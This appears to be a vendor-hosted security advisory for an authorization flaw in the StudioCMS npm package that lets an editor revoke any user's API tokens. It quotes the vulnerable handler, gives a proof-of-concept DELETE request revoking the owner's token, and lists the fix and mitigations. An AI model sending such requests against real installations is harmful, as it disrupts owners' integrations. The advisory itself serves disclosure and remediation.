Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm

GHSA-8rgj-vrfr-6hqr

HIGH

StudioCMS: IDOR — Arbitrary API Token Revocation Leading to Denial of Service

Also known asCVE-2026-30945
Published
Mar 11, 2026
Updated
Mar 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk36th percentile+0.40%
0.00%0.32%0.63%0.95%0.0%0.0%0.1%0.5%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
📦studiocms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts. The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations.

Details

Vulnerable Code

The following is the server-side handler for the DELETE /studiocms_api/dashboard/api-tokens endpoint (revokeApiToken):

File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 58–99) Version: [email protected]

DELETE: (ctx) =>
    genLogger('studiocms/routes/api/dashboard/api-tokens.DELETE')(function* () {
        const sdk = yield* SDKCore;

        // Check if demo mode is enabled
        if (developerConfig.demoMode !== false) {
            return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
        }

        // Get user data
        const userData = ctx.locals.StudioCMS.security?.userSessionData;       // [1]

        // Check if user is logged in
        if (!userData?.isLoggedIn) {                                            // [2]
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Check if user has permission
        const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;  // [3]
        if (!isAuthorized) {
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Get Json Data
        const jsonData = yield* readAPIContextJson<{
            tokenID: string;                                                    // [4]
            userID: string;                                                     // [5]
        }>(ctx);

        // Validate form data
        if (!jsonData.tokenID) {
            return apiResponseLogger(400, 'Invalid form data, tokenID is required');
        }

        if (!jsonData.userID) {
            return apiResponseLogger(400, 'Invalid form data, userID is required');
        }

        // [6] Both user-controlled values passed directly — no ownership or identity checks
        yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

        return apiResponseLogger(200, 'Token deleted');                         // [7]
    }),

Analysis The handler shares the same class of authorization flaws found in the token generation endpoint, applied to a destructive operation:

  1. Insufficient permission gate [1][2][3]: The handler retrieves the session from ctx.locals.StudioCMS.security and only checks isEditor. Token revocation is a high-privilege operation that should require ownership of the token or elevated administrative privileges — not a generic editor-level gate.
  2. No token ownership validation [4][6]: The handler does not verify that jsonData.tokenID actually belongs to the jsonData.userID supplied in the payload. An attacker could enumerate or guess token IDs and revoke them regardless of ownership.
  3. Missing caller identity check [5][6]: The jsonData.userID from the payload is never compared against userData (the authenticated caller from [1]). Any editor can specify an arbitrary target user UUID and revoke their tokens.
  4. No role hierarchy enforcement [6]: There is no check preventing a lower-privileged user (editor) from revoking tokens belonging to higher-privileged accounts (admin, owner).
  5. Direct pass-through to destructive operation [6][7]: Both user-controlled parameters are passed directly to sdk.REST_API.tokens.delete() without any server-side validation, and the server responds with a generic success message, making this a textbook IDOR.

PoC

Environment User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor

Attack — Editor Revokes Owner's API Token An authenticated editor sends the following request to revoke a token belonging to the owner:

DELETE /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Accept: application/json
Content-Length: 98

{
  "tokenID": "16a2e549-513b-40ac-8ca3-858af6118afc",
  "userID": "2450bf33-0135-4142-80be-9854f9a5e9f1"
}

Response (HTTP 200):

{"message":"Token deleted"}

The server confirmed deletion of the owner's token. The tokenID here refers to the internal token record identifier (UUID), not the JWT value itself. The editor's session cookie was sufficient to authorize this destructive action against a higher-privileged user.

Impact

  • Denial of Service on integrations: API tokens used in CI/CD pipelines, third-party integrations, or monitoring systems can be silently revoked, causing automated workflows to fail without warning.
  • No audit trail: The revocation is processed as a legitimate operation — the only evidence is the editor's own session, making attribution difficult without detailed request logging.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmstudiocmsall versions0.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for studiocms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update studiocms to 0.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8rgj-vrfr-6hqr is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8rgj-vrfr-6hqr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8rgj-vrfr-6hqr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts. The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations. ## Details #### Vulnerable Code The following is the server-side handler for the `DELETE /studiocms_api/dashboard/api-tokens` endpoint (`revokeApiToken`)
O3 Security · Impact-Aware SCA

Is GHSA-8rgj-vrfr-6hqr in your dependencies?

O3 detects GHSA-8rgj-vrfr-6hqr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.